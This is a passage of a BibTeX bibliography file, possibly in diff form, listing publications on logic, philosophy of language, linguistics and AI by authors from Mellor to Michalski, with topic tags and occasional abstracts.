Mellor, "Consciousness and degrees of belief" + 10. S. Blackburn, "Opinions and chances" + 11. R. E. Grandy, "Ramsey, reliability, and knowledge" + 12. L. J. Cohen, "The problem of natural laws" + 13. J. Giedymin, "Hamilton's method in geometrical optics and + Ramsey's view of theories" + } , + topic = {truth;F.P.Ramsey;philosophy-of-science;} + } + +@book{ mellor_dh:1990a, + editor = {D.H. Mellor}, + title = {Philosophical Papers}, + publisher = {Cambridge University Press}, + year = {1990}, + address = {Cambridge, England}, + missinginfo = {A's 1st name.}, + note = {Collected Papers of {F}rank {P}. {R}amsey.}, + topic = {logic-classics;} + } + +@book{ mellor_dh:1995a, + author = {D.H. Mellor}, + title = {The Facts of Causation}, + publisher = {Routledge}, + year = {1995}, + address = {London}, + missinginfo = {A's 1st name.}, + xref = {Review: dowe:1998a.}, + topic = {causality;chance;} + } + +@book{ mellor_dh-oliver:1997a, + editor = {D.H. Mellor and Alex Oliver}, + title = {Properties}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {property-theory;metaphysics;} + } + +@book{ meltzer-michie:1969a, + editor = {Bernard Meltzer and Donald Michie}, + title = {Machine Intelligence 4}, + publisher = {Edinburgh University Press}, + year = {1969}, + address = {Edinburgh}, + ISBN = {0852240627}, + topic = {AI-survey;} + } + +@book{ meltzer-michie:1969b, + editor = {Bernard Meltzer and Donald Michie}, + title = {Machine Intelligence 5}, + publisher = {Edinburgh University Press}, + year = {1969}, + address = {Edinburgh}, + ISBN = {0852241763}, + topic = {AI-survey;} + } + +@article{ meltzer:1970a, + author = {Bernard Meltzer}, + title = {The Semantics of Induction and the Possibility of + Complete Systems of Inductive Inference}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {3--4}, + pages = {189--192}, + topic = {indiction;machine-learning;} + } + +@book{ meltzer:1971a, + editor = {Bernard Meltzer}, + title = {Machine Intelligence 6}, + publisher = {Edinburgh University Press}, + year = {1971}, + address = {Edinburgh}, + ISBN = {085224195X}, + topic = {AI-survey;} + } + +@book{ meltzer-michie:1972a, + editor = {Bernard Meltzer and Donald Michie}, + title = {Machine Intelligence 7}, + publisher = {Edinburgh University Press}, + year = {1972}, + address = {Edinburgh}, + ISBN = {0852242344}, + topic = {AI-survey;} + } + +@incollection{ mendelsohn_rl:1979a, + author = {Richard L. Mendelsohn}, + title = {Rigid Designation and Informative Identity Sentences}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {307--320}, + address = {Minneapolis}, + topic = {identity;proper-names;} + } + +@article{ mendez:1987a, + author = {Jos\'e M. M\'endez}, + title = {A {R}outley-{M}eyer Semantics for Converse {A}ckermann + Property}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {1}, + pages = {65--76}, + topic = {relevance-logic;} + } + +@article{ mendez:1988a, + author = {Jos\'e M. M\'endez}, + title = {The Compatibility of Relevance and Mingle}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {3}, + pages = {279--297}, + topic = {relevance-logic;proof-theory;} + } + +@article{ mendez-salto:1998a, + author = {Jos\'e M. Mendez and Francisco Salto}, + title = {A Natural Negation Completion of {U}rquhart's + Many-Valued Logic {C}}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {1}, + pages = {75--84}, + topic = {multi-valued-logic;} + } + +@incollection{ mengin:1998a, + author = {J\'erome Mengin}, + title = {On the Logic of Exceptions}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {23--27}, + address = {Chichester}, + topic = {nonmonotonic-reasoning;} + } + +@article{ menzel:1986a, + author = {Christopher Menzel}, + title = {On Set Theoretic Possible Worlds}, + journal = {Analysis}, + year = {1986}, + missinginfo = {number, volume, pages}, + topic = {foundations-of-possible-worlds;intensional-paradoxes;} + } + +@article{ menzel:1990a, + author = {Christopher Menzel}, + title = {Actualism, Ontological Commitment and Possible + World Semantics}, + journal = {Synth\'ese}, + year = {1990}, + volume = {85}, + number = {3}, + pages = {355--389}, + topic = {possible-worlds-semantics;metaphysics; + philosophical-ontology;} + } + +@article{ menzel:1991a, + author = {Christopher Menzel}, + title = {The True Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {4}, + pages = {331--374}, + topic = {modal-logic;Prior;} + } + +@article{ menzel:1993a, + author = {Christopher Menzel}, + title = {Singular Propositions and Modal Logic}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {2}, + pages = {113--148}, + topic = {modal-logic;reference;singular-propositions;} + } + +@incollection{ menzel:1993b, + author = {Christopher Menzel}, + title = {The Proper Treatment of Predication + in Fine-Grained Intensional Logic}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {61--87}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {hyperintensionality;} + } + +@inproceedings{ menzel:1997a, + author = {Christopher Menzel}, + title = {Logic for an Objective Conception of Context}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {136--145}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;} + } + +@article{ menzel:1999a, + author = {Christopher Menzel}, + title = {The Objective Conception of Context and Its Logic}, + journal = {Minds and Machines}, + year = {1999}, + volume = {9}, + number = {1}, + pages = {29--56}, + topic = {context;} + } + +@article{ menzel:2000a, + author = {Christopher Menzel}, + title = {Review of {\it Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, edited by {B}. {J}ack {C}opeland}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {2}, + pages = {281--286}, + xref = {Review of copeland:1996a.}, + topic = {philosophical-logic;temporal-logic;modal-logic;Prior;} + } + +@incollection{ merand:1999a, + author = {S\'everine M\'erand and Charles Tijus and S\'ebastien + Poitrenaud}, + title = {The Effect of Context Complexity on + the Memorization of Objects}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {487--490}, + address = {Berlin}, + topic = {context;cognitive-psychology;} + } + +@inproceedings{ mercer-reiter_r:1982a, + author = {Robert Mercer and Raymond Reiter}, + title = {The Representation of Presuppositions Using Defaults}, + booktitle = {Proceedings of the Fourth National Conference of the + Canadian Society for Computational Studies of Intelligence}, + year = {1982}, + missinginfo = {pages}, + topic = {presupposition;pragmatics;nm-ling;} + } + +@phdthesis{ mercer:1987a, + author = {Robert Mercer}, + title = {A Default Logic Approach to the Derivation of + Natural Language Presuppositions}, + school = {Department of Computer Science, University of British + Columbia}, + year = {1987}, + type = {Ph.{D}. Dissertation}, + address = {Vancouver}, + note = {Available as Technical Report TR 87-35, Department of + Computer Science, University of British Columbia.}, + topic = {presupposition;pragmatics;nm-ling;} + } + +@inproceedings{ mercer:1988a, + author = {Robert E. Mercer}, + title = {Solving Some Persistent Presupposition Problems}, + booktitle = {Proceedings of the Twelfth International Conference + on Computational Linguistics}, + year = {1988}, + pages = {420--425}, + missinginfo = {editor, organization, address, publisher}, + topic = {presupposition;pragmatics;nm-ling;} + } + +@inproceedings{ mercer:1988b, + author = {Robert Mercer}, + title = {Using Default Logic to Derive Natural Language + Presupposition}, + booktitle = {Proceedings of the Canadian Society + for Computational Studies of Intelligence Conference}, + year = {1988}, + missinginfo = {pages}, + topic = {presupposition;pragmatics;nm-ling;} + } + +@book{ mercer:2000a, + author = {Neil Mercer}, + title = {Words and Minds: How We Use Language to Think Together}, + publisher = {Routledge}, + year = {2000}, + address = {New York}, + ISBN = {041520659-6 (paperback)}, + topic = {pragmatics;} + } + +@article{ mercer:2001a, + author = {Robert E. Mercer}, + title = {Review of {\it Natural Language Processing and Knowledge + Representation: Language For Knowledge and Knowledge for + Language}, by {L}ucja {M}. {I}wa\'nska and {S}tuart {C}. {S}hapiro}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {295--297}, + xref = {Review of: iwanska-shapiro_sc:2000a.}, + topic = {nl-kr;} + } + +@article{ mercier:1994a, + author = {Ad\`ele Mercier}, + title = {Consumerism and Langyuage Acquisition}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {5}, + pages = {499--519}, + topic = {L1-language-learning;philosophy-of-language;} + } + +@incollection{ meredith-prior:1996a, + author = {Carrew Meredith and Arthur N. Prior}, + title = {Interpretations of Different Modal Logics in the `Property + Calculus'\, } , + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {133--134}, + address = {Oxford}, + topic = {modal-logic;} + } + +@incollection{ merenciano-morrill:1997a, + author = {Josep M. Merenciano and Glyn V. Morrill}, + title = {Generation as Deduction on Labelled Proof Nets}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {310--328}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;nl-generation;} + } + +@book{ mereu:1999a, + editor = {Lunella Mereu}, + title = {Boundaries of Morphology and Syntax}, + publisher = {J. Benjamins}, + year = {1999}, + address = {Amsterdam}, + ISBN = {1556199570}, + topic = {syntax-morphology-interface;} +} + +@inproceedings{ merin:1997a, + author = {Arthur Merin}, + title = {Communicative Actions as Bargaining: Utility, Relevance, + Elementary Social Acts}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {59--67}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;pragmatics;discourse;pragmatics;} + } + +@book{ merlo:1996a, + author = {Paola Merlo}, + title = {Parsing with Principles and Classes of Information}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + topic = {parsing-algorithms;nl-processing;principle-based-parsing;} + } + +@incollection{ merlo-etal:1997a, + author = {Paola Merlo and Matthew W. Crocker and Cathy Berthouzoz}, + title = {Learning Methods for Combining Linguistic + Indicators to Classify Verbs}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {149--155}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;disambiguation;prepositional-attachment; + machine-learning;corpus-statistics;} + } + +@article{ merlo-stevenson_s:2001a, + author = {Paola Merlo and Suzanne Stevenson}, + title = {Automatic Verb Classification Based on Statistical + Distributions of Argument Structure}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {373--408}, + topic = {word-classification;argument-structure;} + } + +@article{ merman:1981a, + author = {N. David Merman}, + title = {Boojums All the Way Through: Communicating Science in a + Prosaic Age}, + journal = {Physics Today}, + year = {1981}, + missinginfo = {volume, number, pages}, + topic = {science-commentary;} + } + +@article{ merman:1990a, + author = {N. David Mermin}, + title = {Review of `The Emperor's New Mind', by {R}oger {P}enrose}, + journal = {American Journal of Physics}, + year = {1990}, + volume = {58}, + pages = {1214--1216}, + missinginfo = {number}, + topic = {foundations-of-cognition;goedels-first-theorem; + goedels-second-theorem;philosophy-of-computation;} + } + +@article{ mero:1984a, + author = {L\'azlo M\'er\"o}, + title = {A Heuristic Search Algorithm with Modifiable Estimate}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {1}, + pages = {13--27}, + acontentnote = {Abstract: + This paper describes an improved version of two previously + published algorithms in the area: A* and B. The new approach is + based on considering the estimate ${^h}n$ on node n as + a variable rather than as a constant. The new algorithm thus + improves the estimate as it goes on, avoiding some useless node + expansions. It is proved to never expand more nodes than B or A* + and to expand a much smaller number of them in some cases. + Another result of the paper is a proof that no overall optimal + algorithm exists if the cost of an algorithm is measured by the + total number of node expansions. + } , + topic = {search;optimality;AI-algorithms-analysis;A*-algorithm;} + } + +@article{ merrill_gh:1975a, + author = {G.H. Merrill}, + title = {A Free Logic With Intensions as Possible Values of Terms}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {3}, + pages = {293--326}, + topic = {reference-gaps;modal-logic;quantifying-in-modality;} + } + +@inproceedings{ merritt-taubenfeld:1991a, + author = {M.J. Merritt and G. Taubenfeld}, + title = {Knowledge in Shared Memory Systems}, + booktitle = {Proceedings of the Tenth {ACM} Symposium on + Principles of Distributed Computing}, + year = {1991}, + pages = {189--200}, + missinginfo = {editor, publisher, A's 1st name}, + topic = {mutual-belief;distributed-systems;epistemic-logic;} + } + +@book{ mertz:1996a, + author = {D.W. Mertz}, + title = {Moderate Realism and Its Logic}, + publisher = {Yale University Press}, + year = {1996}, + address = {New Haven, Connecticut}, + missinginfo = {A's 1st name.}, + topic = {logic-and-ontology;philosophical-ontology;semantic-paradoxes; + logical-philosophy;} + } + +@article{ mertz:1999a, + author = {D.W. Mertz}, + title = {The Logic of Instance Ontology}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {1}, + pages = {81--111}, + topic = {philosophical-ontology;semantic-paradoxes;paraconsistency;} + } + +@incollection{ mertzing:1981a, + author = {Dieter Mertzing}, + title = {Frame Representation and Lexical Semantics}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {320--342}, + address = {Berlin}, + topic = {lexical-semantics;frames;} + } + +@article{ meseguer-torras:2001a, + author = {Pedro Meseguer and Carme Torras}, + title = {Exploiting Symmetries within Constraint Satisfaction Search}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {133--163}, + topic = {constraint-satisfaction;search;symmetry;} + } + +@article{ meseguer_j-etal:1989a, + author = {Jose Meseguer and Joseph A. {Goguen, Jr.} and Gert Smolka}, + title = {Order-Sorted Unification}, + journal = {Journal of Symbolic Computation}, + year = {1989}, + volume = {8}, + pages = {383--413}, + missinginfo = {number}, + topic = {theorem-proving;extensions-of-resolution;resolution;kr-course;} + } + +@techreport{ meseguer_j-winkler:1989a, + author = {Jose Meseguer and Timothy Winkler}, + title = {Parallel Programming in {M}aude}, + institution = {SRI International}, + number = {SRI--CSL--91--09}, + year = {1990}, + address = {Menlo Park, California}, + topic = {theorem-proving;unification;extensions-of-resolution;} + } + +@techreport{ meseguer_j-etal:1990a, + author = {Jose Meseguer and Joseph A. {Goguen, Jr.}}, + title = {Order-Sorted Algebra Solves the Constraint-Selector, + Multiple Representation and Coercion Problems}, + institution = {SRI International}, + number = {SRI--CSL--90--06}, + year = {1990}, + address = {Menlo Park, California}, + topic = {theorem-proving;unification;extensions-of-resolution;} + } + +@book{ messing-campbell_r:1999a, + editor = {Lynn S. Messing and Ruth Campbell}, + title = {Gesture, Speech, and Sign}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + ISBN = {019852451X}, + topic = {HCI;gestures;} + } + +@book{ messing-campbell_r:1999b, + editor = {Lynn S. Messing and Ruth Campbell}, + title = {Advances in Artificial Intelligence in Software Engineering}, + publisher = {JAI Press}, + year = {1999}, + address = {Greenwich, Connecticut}, + ISBN = {019852451X}, + topic = {AI-applications;software-engineering;} + } + +@article{ meteer:1991a, + author = {Marie W. Meteer}, + title = {Bridging the Generation Gap between Text Planning and + Linguistic Realization}, + pages = {296--304}, + journal = {Computational Intelligence}, + volume = {7}, + number = {4}, + year = {1991}, + topic = {text-planning;nl-generation;} + } + +@incollection{ meteer-iyer:1996a, + author = {Marie Meteer and Rukmini Iyer}, + title = {Modeling Conversational Speech for Speech Recognition}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {33--47}, + address = {Somerset, New Jersey}, + topic = {spoken-language-corpora;speech-recognition; + text-segmentation;} + } + +@book{ metzing:1979a, + editor = {Dieter Metzing}, + title = {Frame Conceptions and Text Understanding}, + publisher = {Walter de Gruyter}, + year = {1979}, + address = {Berlin}, + topic = {discourse-analysis;} +} + +@article{ meurers-minnen:1997a, + author = {W. Detmar Meurers and Guido Minnen}, + title = {A Computational Treatment of Lexical Rules in {HPSG} as + Covariation in Lexical Entries}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {4}, + pages = {543--568}, + topic = {HPSG;} + } + +@book{ mey:1993a, + author = {Jacob L. Mey}, + title = {Pragmatics: An Introduction}, + publisher = {Blackwell Publishers}, + year = {1993}, + address = {Oxford}, + topic = {pragmatics;} + } + +@phdthesis{ meyer_cf:1983a1, + author = {Charles F. Meyer}, + title = {A Linguistic Study of {A}merican Punctuation}, + school = {University of Wisconsin-Milwaukee}, + year = {1983}, + xref = {Book publication: meyer_cf:1983a2.}, + topic = {punctuation;} + } + +@book{ meyer_cf:1983a2, + author = {Charles F. Meyer}, + title = {A Linguistic Study of American Punctuation;} , + publisher = {Peter Lang Publishing Co.}, + year = {1987}, + xref = {Dissertation: meyer_cf:1983a1.}, + topic = {punctuation;} +} + +@article{ meyer_cf:1986a, + author = {Charles F. Meyer}, + title = {Punctuation Practice in the {B}rown Corpus}, + journal = {ICAME Newsletter}, + year = {1986}, + pages = {80--95}, + topic = {punctuation;} + } + +@book{ meyer_cf:1987a, + author = {Charles F. Meyer}, + title = {A Linguistic Study of {A}merican Punctuation}, + publisher = {Peter Lang Publishing Co.}, + year = {1987}, + note = {Out of print.}, + topic = {punctuation;} + } + +@incollection{ meyer_g-beierle:1998a, + author = {G. Meyer and C. Beierle}, + title = {Dimensions of Types in Logic Programming}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@techreport{ meyer_i-etal:1990a, + author = {Ingrid Meyer and Boyan Onyshkevych and Lynn Carlson}, + title = {Lexicographic Principles and Design for Knowledge-Based + Machine Translation}, + institution = {Center for Machine Translation, Carnegie-Mellon + University}, + number = {CMU-CMT-90-118}, + year = {1990}, + address = {Pittsburgh, Pennsylvania}, + topic = {machine-translation;computational-lexicography;} + } + +@techreport{ meyer_jjc-vanderhoek:1988a, + author = {{John-Jules Ch.} Meyer and Wiebe {van der Hoek}}, + title = {Non-Monotonic Reasoning by Monotonic Means}, + institution = {Fakulteit Wiskunde en Informatica, Vrije + Universiteit Amsterdam}, + number = {IR-171}, + year = {1971}, + address = {Amsterdam}, + topic = {nonmonotonic-logic;} + } + +@techreport{ meyer_jjc:1989a, + author = {{John-Jules Ch.} Meyer}, + title = {An Analysis of the {Y}ale Shooting Problem by Means + of Dynamic Epistemic Logic}, + institution = {Fakulteit Wiskunde en Informatica, Vrije + Universiteit Amsterdam}, + number = {IR-201}, + year = {1989}, + address = {Amsterdam}, + topic = {dynamic-logic;epistemic-logic;Yale-shooting-problem;} + } + +@article{ meyer_jjc-etal:1991a, + author = {{John-Jules Ch.} Meyer and Wiebe {van der Hoek} and G.A.W. + Vreeswijk}, + title = {Epistemic Logic for Computer Science: A Tutorial + (Part I)}, + journal = {{EATCS} Bulletin}, + year = {1991}, + volume = {44}, + pages = {242--270}, + missinginfo = {A's 1st name, number}, + topic = {epistemic-logic;} + } + +@article{ meyer_jjc-etal:1991b, + author = {{John-Jules Ch.} Meyer and Wiebe {van der Hoek} and G.A.W. + Vreeswijk}, + title = {Epistemic Logic for Computer Science: A Tutorial (Part II)}, + journal = {{EATCS} Bulletin}, + year = {1991}, + volume = {45}, + pages = {256--287}, + missinginfo = {A's 1st name, number}, + topic = {epistemic-logic;} + } + +@book{ meyer_jjc-wieringa:1994a, + editor = {{John-Jules Ch.} Meyer and R.J. Wieringa}, + title = {Deontic Logic in Computer Science: Normative System + Specification}, + publisher = {John Wiley and Sons}, + year = {1994}, + address = {New York}, + topic = {deontic-logic;} + } + +@book{ meyer_jjc-vanderhoek:1995a, + author = {{John-Jules Ch.} Meyer and Wiebe {van der Hoek}}, + title = {Epistemic Logic for {AI} and Computer Science}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge}, + ISBN = {052146014X (hardback)}, + xref = {Review: verbrugge:1999a.}, + contentnote = {TC: + 0. "Introduction" + 1. "Basics: The Modal Approach to Logic" + 2. "Various Notions of Knowledge and Belief" + 3. "Knowledge and Ignorance" + 4. "Default Logic by Epistemi Logic" + A1. "Konolige's Deduction Model of Belief" + A2. "Knowledge Structures (Fagin, Halpern & Vardi)" + A3. "First-Order Epistemic Logic" + A4. "Table of the Basic Logical Systems" + } , + topic = {epistemic-logic;logic-in-AI;} + } + +@incollection{ meyer_jjc-vanderhoek:1998a, + author = {John-Jules Ch. Meyer and Wiebe van der Hoek}, + title = {Modal Logics for Representing Incoherent Knowledge}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 2: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {37--75}, + address = {Dordrecht}, + topic = {paraconsistency;} + } + +@inproceedings{ meyer_jjc:1999a, + author = {{John-Jules Ch.} Meyer}, + title = {Dynamic Logic for Reasoning about Actions and Agents}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {action-formalisms;dynamic-logic;} + } + +@article{ meyer_jjc-etal:1999a, + author = {{John-Jules Ch.} Meyer and Wiebe {van der Hoek} and + Bernd {van Linder}}, + title = {A Logical Approach to the Dynamics of Commitments}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {1--40}, + topic = {desires;ability;action-formalisms;} + } + +@book{ meyer_jjc-schobbens:1999a, + editor = {{John-Jules Ch.} Meyer and Pierre-Yves Schobbens}, + title = {Formal Models of Agents: Esprit Project Modelage Final + Workshop Selected Papers}, + publisher = {Springer-Verlag}, + year = {1999}, + address = {Berlin}, + ISBN = {3540670270 (softcover)}, + contentnote = {TC: + 1. John-Jules Ch. Meyer and Pierre-Yves Schobbens, "Formal + Models of Agents: An Introduction" + 2. Stanislaw Ambroszkiewicz and Jan Komar , "A Model of + {BDI}-Agent in Game-Theoretic Framework" + 3. John Bell and Zhisheng Huang, "Dynamic Belief Hierarchies" + 4. Frances Brazier et al., "Modelling Internal Dynamic + Behaviour of {BDI} Agents" + 5. Stefan Conrad and Gunter Saake and Can Türker, "Towards an + Agent-Oriented Framework for Specification of Information + Systems" + 6. Rosaria Conte and Cristiano Castelfranchi and Roberto + Pedone, "The Impossibility of Modelling Cooperation in + {PD}-Game" + 7. Enrico Denti and Andrea Omicini, "Designing Multi-Agent + Systems around an Extensible Communication Abstraction" + 8. Frank Dignum, "Social Interactions of Autonomous Agents: + Private and Global Views on Communication" + 9. Carlos H.C. Duarte, "Towards a Proof-Theoretic Foundation + for Actor Specification and Verification" + 10. Barbara Dunin-Keplicz and Anna Radzikowska, "Nondeterministic + Actions with Typical Effects: Reasoning about + Scenarios" + 11. Bruno Errico, "Agents' Dynamic Mental Attitudes" + 12. Peter Fr\"ohlich et al., "Diagnostic Agents for Distributed + Systems" + 13. John-Jules Ch. Meyer and Patrick Doherty, "Preferential + Action Semantics (Preliminary Report)" + 14. Henry Prakken, "Dialectical Proof Theory for Defeasible + Argumentation with Defeasible Priorities (Preliminary + Report)" + 15. Leendert W.N. van der Torre et al., "The Role of + Diagnosis and Decision Theory in Normative Reasoning" + 16. Leendert W.N. van der Torre and Yao-Hua Tan, "Contextual + Deontic Logic" + } , + ISBN = {3540670270 (softcover)}, + topic = {agent-architectures;agent-modeling;} + } + +@incollection{ meyer_jjc:2000b, + author = {{John-Jules Ch.} Meyer}, + title = {Dynamic Logic for Reasoning about Actions and Agents}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {281--311}, + address = {Dordrecht}, + topic = {logic-in-AI;dynamic-systems;dynamic-logic; + reasoning-about-actions;} + } + +@article{ meyer_rk:1974a, + author = {Robert K. Meyer}, + title = {New Axiomatics for Relevant Logics, {I}}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {1--2}, + pages = {53--86}, + topic = {relevance-logic;} + } + +@article{ meyer_rk-etal:1979a, + author = {Robert K. Meyer and Richard Routley and J. Michael Dunn}, + title = {Curry's Paradox}, + journal = {Analysis}, + year = {1979}, + volume = {39}, + pages = {124--128}, + missinginfo = {number}, + topic = {Curry-paradox;} + } + +@article{ meyer_rk-etal:1982a, + author = {Robert K. Meyer and Ermanno Bencivenga and Karel Lambert}, + title = {The eliminability of {E!} in Free Quantification Theory + without Identity}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {2}, + pages = {229--231}, + topic = {reference-gaps;} + } + +@article{ meyer_rk-martin_ep:1989a, + author = {Robert K. Meyer and Errol P. Martin}, + title = {Logic on the {A}ustralian Plan}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {15}, + number = {3}, + pages = {305--332}, + topic = {relevance-logic;} + } + +@article{ meyer_rk:1998a, + author = {Robert K. Meyer}, + title = {$\subset${E} is Admissible in ``True'' Relevant Arithmetic}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {4}, + pages = {327--351}, + topic = {relevance-logic;} + } + +@article{ meyer_t:2001a, + author = {Thomas Meyer}, + title = {Basic Infobase Change}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {2}, + pages = {215--242}, + topic = {belief-revision;} + } + +@article{ meyer_t-etal:2002a, + author = {Thomas Meyer and Johannes Heidema and William Labuschagne + and Louise Leenen}, + title = {Systematic Withdrawal}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {5}, + pages = {415--443}, + topic = {belief-revision;} + } + +@article{ meyer_ta-etal:2000a, + author = {Thomas Andreas Meyer and Willem Adriuan Labuschagne and + Johannes Hedema}, + title = {Refined Epistemic Entrenchment}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {2}, + pages = {237--259}, + topic = {belief-revision;} + } + +@article{ meyer_ta-etal:2000b, + author = {Thomas Andreas Meyer and Willem Adrian Labuschagne and + Johannes Heidema}, + title = {Infobase Change: A First Approximation}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {3}, + pages = {353--377}, + topic = {belief-revision;} + } + +@book{ meyerson_g:1995a, + author = {George Meyerson}, + title = {Rhetoric, Reason, and Society}, + publisher = {Sage Publications}, + year = {1995}, + address = {Thousand Oaks, California}, + topic = {pragmatics;} + } + +@inproceedings{ micali:1986a, + author = {Silvio Micali}, + title = {Knowledge and Efficient Computation}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {353--362}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {epistemic-logic;complexity;} + } + +@article{ michael:2002a, + author = {Fred Seymour Michael}, + title = {Entailment and Bivalence}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {4}, + pages = {289--300}, + topic = {truth-value-gaps;logical-consequence;} + } + +@article{ michaelis:1996a, + author = {Laura A. Michaelis}, + title = {On the Use and Meaning of `Already'\, } , + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {5}, + pages = {477--502}, + topic = {tense-aspect;`already';} + } + +@incollection{ michaelis-kracht:1997a, + author = {Jens Michaelis and Marcus Kracht}, + title = {Semilinearity as a Syntactic Invariant}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {329--345}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@book{ michalewicz:1991a, + editor = {Zbigniew Michalewicz}, + title = {Statistical and Scientific Databases}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + topic = {scientific-databases;} + } + +@article{ michalski:1983a, + author = {Ryszard S. Michalski}, + title = {A Theory and Methodology of Inductive Learning}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {2}, + pages = {111--161}, + topic = {machine-learning;induction;} + } + +@book{ michalski-etal:1983a, + editor = {Ryszard S. Michalski and Jaime G. Carbonell and Tom M. + Mitchell}, + title = {Machine Learning: An Artificial Intelligence Approach}, + publisher = {Tioga Publishing Co.}, + year = {1983}, + address = {Palo Alto, California}, + ISBN = {0935382054}, + xref = {Reviews: vanlehn:1985a, stefik:1985a.}, + topic = {machine-learning;} + } + +@article{ michalski-winston_ph:1986a, + author = {Ryszard S. Michalski and Patrick 